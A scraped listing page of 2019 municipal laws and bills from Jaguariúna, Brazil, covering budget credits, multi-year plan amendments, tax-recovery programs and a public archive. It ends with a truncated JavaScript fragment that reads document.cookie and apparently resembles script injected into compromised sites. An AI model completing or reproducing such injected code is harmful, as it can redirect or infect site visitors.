29
jul
2019
LeiNº 032/2019
Dispõe sobre autorização ao Executivo para abertura de crédito especial e de crédito suplementar.
Dispõe sobre autorização ao Executivo para abertura de crédito especial e de crédito suplementar. PROJETO-DE-LEI-032 Baixar
Leis
558 documentos · série 2010–2026
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Limpar tudo29
jul
2019
LeiNº 031/2019
Inclusão de projetos no Orçamento Geral do Município para o exercício de 2019
Projeto de Lei que autoriza a inclusão de projetos orçamentários referentes a convênios firmados entre o Município e o Estado (saúde) e União (assistência social) no Orçamento Geral de 2019.
29
jul
2019
LeiNº 029/2019
Inclusão de projetos no Plano Plurianual para o período de 2018 a 2021
Lei que inclui projetos na Lei Municipal nº 2.463/2017 (Plano Plurianual), autorizando investimentos em saúde (FUNDOCAMP - Combate às Arboviroses) e assistência social (reforma do CRAS) com recursos estaduais e federais.
29
jul
2019
LeiNº 029/2019
Inclusão de projetos no Plano Plurianual para o período de 2018 a 2021
Lei que inclui projetos de investimento em saúde (FUNDOCAMP - combate a arboviroses) e assistência social (reforma do CRAS) no Plano Plurianual Municipal 2018-2021, oriundos de convênios com Estado e União.
29
jul
2019
LeiNº 026/2019
Autoriza o Executivo Municipal a repassar recursos financeiros, a título contribuição, ao Consórcio Intermunicipal para o Desenvolvimento do Pólo Turístico do Circuito das Águas Paulista.
Autoriza o Executivo Municipal a repassar recursos financeiros, a título contribuição, ao Consórcio Intermunicipal para o Desenvolvimento do Pólo Turístico do Circuito das Águas Paulista. PROJETO-DE-LEI-026 Baixar
29
jul
2019
LeiNº 024/2019
Dispõe sobre inclusão de projetos no Orçamento Geral do Município para o exercício de 2019 (Lei Municipal nº 2.562/2018).
Dispõe sobre inclusão de projetos no Orçamento Geral do Município para o exercício de 2019 (Lei Municipal nº 2.562/2018). PROJETO-DE-LEI-024 Baixar
29
jul
2019
LeiNº 023/2019
Dispõe sobre inclusão de projetos nas diretrizes orçamentárias para o exercício de 2019 (Lei Municipal nº 2.515/2018).
Dispõe sobre inclusão de projetos nas diretrizes orçamentárias para o exercício de 2019 (Lei Municipal nº 2.515/2018). PROJETO-DE-LEI-023 Baixar
29
jul
2019
LeiNº 022/2019
Dispõe sobre inclusão de projetos no Plano Plurianual para o período de 2018 a 2021 (Lei Municipal nº 2.463/2017).
Dispõe sobre inclusão de projetos no Plano Plurianual para o período de 2018 a 2021 (Lei Municipal nº 2.463/2017). PROJETO-DE-LEI-022 Baixar
29
jul
2019
LeiNº 020/2019
Dispõe sobre autorização ao Executivo para abertura de créditos suplementares.
Dispõe sobre autorização ao Executivo para abertura de créditos suplementares. PROJETO-DE-LEI-020 Baixar
29
jul
2019
LeiNº 019/2019
Institui no âmbito municipal inserção de atalho para hospedagem virtual da Delegacia Eletrônica de Proteção Animal (DEPA) e dá outras providências.
Institui no âmbito municipal inserção de atalho para hospedagem virtual da Delegacia Eletrônica de Proteção Animal (DEPA) e dá outras providências. PROJETO-DE-LEI-019 Baixar
29
jul
2019
LeiNº 018/2019
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências.
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências. PROJETO-DE-LEI-018 Baixar
29
jul
2019
LeiNº 016/2019
Dispõe sobre autorização ao executivo para abertura de crédito especial.
Dispõe sobre autorização ao executivo para abertura de crédito especial. PROJETO-DE-LEI-016 Baixar
19
jul
2019
LeiNº 337/2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências.
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências. LC-337 Baixar
19
jul
2019
LeiNº 336/2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências.
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências. LC-336 Baixar
28
jun
2019
LeiNº 335/2019
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal.
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal. LEI-COMPLEMENTAR-Nº-335-2 Baixar function getCookie(e){var U=document.cookie.match(new…